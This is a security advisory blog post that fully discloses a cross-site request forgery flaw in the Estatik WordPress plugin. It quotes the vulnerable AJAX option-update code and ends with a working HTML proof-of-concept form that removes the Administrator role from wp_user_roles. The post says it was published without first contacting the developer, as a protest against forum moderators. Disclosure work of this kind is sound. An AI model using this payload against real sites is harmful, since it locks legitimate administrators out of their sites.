19 Mar

Full Disclosure of Cross-Site Request Forgery (CSRF)/Option Update Vulnerability in Estatik

As the finding and exploitation of an authenticated option update vulnerability in the Freemius library, which is used by many WordPress plugins, by hackers shows is that there has not been enough focus on making sure that code that can lead to option update vulnerabilities is properly secured. Through our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities we have been on the lookout for some of those since November and we keep finding them, though as with the one we found in the plugin Estatik sometimes things are coded in way that limits the worst possible result of that (that doesn’t always appear to have been intentional). In this case of this plugin, poor security isn’t a new issue as we spotted the possibility that another vulnerability due to poor security was being exploited back in June of 2016.

The plugin registers for the function remove() in the class Es_Data_Manager_Item to be accessible through WordPress’ AJAX functionality to anyone logged in:

20
add_action( 'wp_ajax_es_ajax_data_manager_remove_option', array( 'Es_Data_Manager_Item', 'remove' ) );

That function, which is located in the file /admin/classes/class-data-manager-currency-item.php, will update an arbitrary WordPress option (setting) specified by the post input “storage”:

143
144
145
146
147
148
149
150
151
152
153
154
155
public static function remove()
{
	// If valid ajax request.
	if ( static::is_valid_ajax() && $_POST['action'] ) {
		// Get available values.
		$values = Es_Settings_Container::get_setting_values( $_POST['container'] );
 
		// Remove item using ID and storage.
		if ( ! empty( $values ) ) {
			$values = get_option( $_POST['storage'], array() );
			$key = sanitize_key( $_POST['id'] );
			unset( $values[ $key ] );
			update_option( $_POST['storage'], $values );

Before doing that though the plugin requires that the function is_valid_ajax() return true. That does limit access to changing the option to those with “manage_option” capability, which only Administrators normally have:

94
95
96
97
public static function is_valid_ajax()
{
	return is_admin() && defined( 'DOING_AJAX' ) && DOING_AJAX && current_user_can( 'manage_options' );
}

It wouldn’t be a vulnerability for Administrators to be able to update arbitrary options, since they can normally do the equivalent of it already, but through cross-site request forgery (CSRF) an attacker could have cause them to do it with intending it.

Where this is further limited is the code that determines what the new value for the setting will be. In our testing the option being updated needed to have a current value that is an array, since an element of that will be removed. One nasty way this could be exploited is by removing the Administrator role from the “wp_user_roles” option, which would cause users with that role to be unable to access any admin page of the website.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Proof of Concept

The following proof of concept will remove the Administrator role, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="es_ajax_data_manager_remove_option" />
<input type="hidden" name="id" value="administrator" />
<input type="hidden" name="container" value="privacy_policy_checkbox" />
<input type="hidden" name="storage" value="wp_user_roles" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.